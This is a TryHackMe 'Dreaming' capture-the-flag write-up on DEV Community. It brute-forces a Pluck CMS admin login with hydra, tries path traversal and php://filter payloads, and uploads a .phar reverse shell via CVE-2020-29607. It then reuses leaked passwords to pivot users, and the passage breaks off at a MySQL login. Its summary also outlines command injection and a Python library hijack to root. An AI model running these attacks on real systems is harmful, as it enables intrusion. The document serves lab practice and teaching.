DEV Community

Cover image for TryHackMe : Dreaming Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe : Dreaming Writeup

Summary

Dreaming is a Linux box built around a Pluck CMS install. Brute-forcing the CMS admin login gives access to the admin panel, which is then abused via a known authenticated file-upload RCE (CVE-2020-29607) to get a reverse shell as www-data. A leftover automation script hands over a system password for lucien, whose limited sudo rule around a mysql.connector script has a classic subprocess(shell=True) command-injection bug: seeding a malicious row in the backing MySQL table lets us dump the script's source (and with it, death's DB credentials) by having the script echo back attacker-controlled shell syntax. From death, a world/group-writable copy of the system shutil.py module - imported by a root-run backup script - gives a classic Python library-hijack path: injecting a command into shutil.py gets executed with root privileges the next time the backup job (or any root process that imports shutil) runs, letting us chmod the final flag readable.

Attack Chain

nmap -> SSH + Apache, /app/ directory listing -> Pluck CMS 4.7.13
   |
Pluck LFI/RCE filename filter blocks direct path traversal + php://filter
   |
hydra brute-force of Pluck admin login -> "password"
   |
Pluck CMS admin panel -> known CVE-2020-29607 (auth'd file upload RCE, .phar bypass)
   |
Reverse shell as www-data
   |
/opt/test.py (lucien-owned) leaks a password reused for lucien's system account -> su lucien
   |
sudo -u death allowed script (getDreams.py) has subprocess(shell=True) command injection via MySQL data
   |
Injected $(cat getDreams.py) via MySQL row -> leaks death's DB password AND death's system password
   |
su death -> death_flag.txt
   |
World/group-writable /usr/lib/python3.8/shutil.py, imported by root-run restore.py/cron
   |
Inject os.system() into shutil.py -> executes as root on next import -> chmod flag readable
   |
morpheus_flag.txt
Enter fullscreen mode Exit fullscreen mode

Recon

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5c:14:c0:ac:47:41:97:ab:c6:bc:23:1d:6c:93:8e:96 (RSA)
|   256 07:5b:aa:2e:f1:fd:08:fd:85:58:53:50:7a:61:10:58 (ECDSA)
|_  256 09:06:07:6a:03:31:3b:12:ea:31:2d:12:4c:88:cc:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Enter fullscreen mode Exit fullscreen mode

Only SSH and HTTP open. The web root is the stock Apache default page:

curl http://<MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode
<title>Apache2 Ubuntu Default Page: It works</title>
...
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems.
...
[default Apache2 Ubuntu boilerplate - no useful content, truncated]
Enter fullscreen mode Exit fullscreen mode

Directory brute-force found an /app/ directory:

ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
Enter fullscreen mode Exit fullscreen mode
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 48ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2620ms]
app                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 42ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 975 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
Enter fullscreen mode Exit fullscreen mode
curl http://<MACHINE_IP>/app/
Enter fullscreen mode Exit fullscreen mode
<h1>Index of /app</h1>
<tr><td><a href="/">Parent Directory</a></td></tr>
<tr><td><a href="pluck-4.7.13/">pluck-4.7.13/</a></td><td align="right">2020-01-29 08:55  </td></tr>
Enter fullscreen mode Exit fullscreen mode

Directory listing reveals a Pluck CMS 4.7.13 install.

curl -L http://<MACHINE_IP>/app/pluck-4.7.13/
Enter fullscreen mode Exit fullscreen mode
<meta name="generator" content="pluck 4.7.13" />
<title>dreaming - dreaming</title>
...
<h1 title="dreaming">dreaming</h1>
<h2 title="dreaming">dreaming</h2>
What power would hell have if those here imprisoned were not able to dream of heaven?
...
<a href="/app/pluck-4.7.13/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>
Enter fullscreen mode Exit fullscreen mode

Vulnerability Attempt: LFI via ?file= parameter (blocked)

Pluck's ?file= page-selector parameter looked like a classic LFI candidate:

curl 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
Enter fullscreen mode Exit fullscreen mode
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Enter fullscreen mode Exit fullscreen mode
curl -v 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
Enter fullscreen mode Exit fullscreen mode
< HTTP/1.1 200 OK
< Set-Cookie: PHPSESSID=6bc61nh00ij5f553ob6mr04cih; path=/
< Content-Length: 93
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Enter fullscreen mode Exit fullscreen mode

Tried a php://filter wrapper to read source instead of triggering the traversal filter directly:

curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd'
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=data/settings/pass.php'
Enter fullscreen mode Exit fullscreen mode
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Enter fullscreen mode Exit fullscreen mode

Both blocked - Pluck has a built-in input filter on ?file= that catches path traversal and stream wrappers alike. Abandoned this path and moved to the admin login instead.

Vulnerability: Weak Pluck Admin Credentials (Brute Force)

curl -s -b pluck-cookies.txt 'http://<MACHINE_IP>/app/pluck-4.7.13/admin.php' | grep -i "logged\|welcome\|admin\|logout"
Enter fullscreen mode Exit fullscreen mode
<title>pluck 4.7.13 - not logged in</title>
<li>not logged in</li>
<div id="content"><div class="notice">You are not logged in! A moment, please...</div>
Enter fullscreen mode Exit fullscreen mode

Pluck's login is a single password field (no username). Confirmed the login endpoint and its failure message:

curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=admin&bogus=&submit=Log+in' -L
Enter fullscreen mode Exit fullscreen mode
<div class="error">Password incorrect.</div>
Enter fullscreen mode Exit fullscreen mode

Manual guesses came up empty:

for pass in password 1234 pluck admin123 root dreaming; do
  echo -n "Trying $pass: "
  curl -s -c /tmp/c.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d "cont1=$pass&bogus=&submit=Log+in" -L | grep -o "not logged in\|logged in\|Welcome"
done
Enter fullscreen mode Exit fullscreen mode
Trying password: Trying 1234: Trying pluck: Trying admin123: Trying root: Trying dreaming:
Enter fullscreen mode Exit fullscreen mode

(No hits - grep found nothing worth printing on any of these, which is a hint the response wording doesn't match those literal strings; time to automate properly.) Ran it through hydra against rockyou.txt:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <MACHINE_IP> http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -t 30 -V
Enter fullscreen mode Exit fullscreen mode
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://<MACHINE_IP>:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[ATTEMPT] target <MACHINE_IP> - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
[80][http-post-form] host: <MACHINE_IP>   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-10 12:20:30
Enter fullscreen mode Exit fullscreen mode

Password is simply password. Confirmed:

curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=password&bogus=&submit=Log+in' -L
Enter fullscreen mode Exit fullscreen mode
<div id="content"><div class="success">Password correct. Logging you in...</div><meta http-equiv="refresh" content="1; url=admin.php?action=start" />
Enter fullscreen mode Exit fullscreen mode

Vulnerability: CVE-2020-29607 - Pluck CMS Authenticated File Upload RCE

searchsploit pluck 4.7.13
Enter fullscreen mode Exit fullscreen mode
Exploit Title                                                                 |  Path
-------------------------------------------------------------------------------|---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)           | php/webapps/49909.py
Enter fullscreen mode Exit fullscreen mode

Confirmed the technique via public writeup (loopspell.medium.com/cve-2020-29607) - Pluck blocks .php uploads by extension, but the block can be bypassed by uploading a .phar file (still executed as PHP by the server) containing a reverse shell payload.

Manual steps taken through the admin panel (screenshots):

  1. Logged into the admin panel at admin.php?action=start, opened pages -> manage files.

  2. Uploaded a renamed pentestmonkey PHP reverse-shell payload saved as evil.phar (bypassing the .php extension filter):

   Name: evil.phar
   Size: 2588 bytes
   Type: applicationoctet-stream
   Upload successful!
   uploaded files
   evil.phar   [preview icon]  [trash icon]
Enter fullscreen mode Exit fullscreen mode
  1. Started a listener, then clicked the magnifying-glass "preview" icon next to evil.phar in the file manager - this requests the uploaded file directly, causing Apache/PHP to execute it server-side:
penelope -p 4443 listen
Enter fullscreen mode Exit fullscreen mode
[+] Listening for reverse shells on 0.0.0.0:4443 -> 127.0.0.1 * <ATTACKER_IP>
[+] [New Reverse Shell] => ip-10-48-167-123 <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Session log: /root/.penelope/sessions/ip-10-48-167-123~<MACHINE_IP>-Linux-x86_64/2026_08_10-12_43_45-578-www-data(33).log
Enter fullscreen mode Exit fullscreen mode
whoami; id; groups
Enter fullscreen mode Exit fullscreen mode
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
Enter fullscreen mode Exit fullscreen mode

Post-Exploitation - Enumerating Home Directories

ls -la /
Enter fullscreen mode Exit fullscreen mode
drwxrwxr--   2 root saviors       4096 Jul 28  2023 kingdom_backup
...
Enter fullscreen mode Exit fullscreen mode
ls -la /home
Enter fullscreen mode Exit fullscreen mode
drwxr-xr-x  4 death    death    4096 Aug 25  2023 death
drwxr-xr-x  5 lucien   lucien   4096 Aug 25  2023 lucien
drwxr-xr-x  3 morpheus morpheus 4096 Aug  7  2023 morpheus
drwxr-xr-x  4 ubuntu   ubuntu   4096 May 18  2025 ubuntu
Enter fullscreen mode Exit fullscreen mode

death's and morpheus's flags are both permission-denied to www-data:

cat /home/death/death_flag.txt
Enter fullscreen mode Exit fullscreen mode
cat: /home/death/death_flag.txt: Permission denied
Enter fullscreen mode Exit fullscreen mode

Found a file owned by lucien sitting in a world-readable location:

find / -type f -user lucien 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt
Enter fullscreen mode Exit fullscreen mode
cat /opt/test.py
Enter fullscreen mode Exit fullscreen mode
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)
Enter fullscreen mode Exit fullscreen mode

This was written to test the Pluck admin password, but lucien reused the same password for his system account:

su lucien
Password:
Enter fullscreen mode Exit fullscreen mode
lucien@ip-10-48-167-123:/home$ whoami
lucien
lucien@ip-10-48-167-123:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
Enter fullscreen mode Exit fullscreen mode
cat lucien_flag.txt
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation - lucien to death via subprocess Command Injection

cat .bash_history
Enter fullscreen mode Exit fullscreen mode
ls
cd /etc/ssh/
...
mysql -u lucien -plucien42DBPASSWORD
...
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
...
Enter fullscreen mode Exit fullscreen mode

.bash_history leaks lucien's own MySQL password, and shows the exact sudo invocation he'd already used.

sudo -l
Enter fullscreen mode Exit fullscreen mode
User lucien may run the following commands on ip-10-48-167-123:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
Enter fullscreen mode Exit fullscreen mode

lucien can run one specific script as death, no password needed. Can't read the script directly (death-owned, execute-only for others):

cat /home/death/getDreams.py
Enter fullscreen mode Exit fullscreen mode
cat: /home/death/getDreams.py: Permission denied
Enter fullscreen mode Exit fullscreen mode

Ran it as allowed, to see what it does:

sudo -u death /usr/bin/python3 /home/death/getDreams.py
Enter fullscreen mode Exit fullscreen mode
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician
Enter fullscreen mode Exit fullscreen mode

It's reading dreamer/dream pairs from a MySQL table and echoing them out. Logged in with lucien's leaked DB password to inspect the table directly:

mysql -u lucien -plucien42DBPASSWORD
Enter fullscreen mode Exit fullscreen mode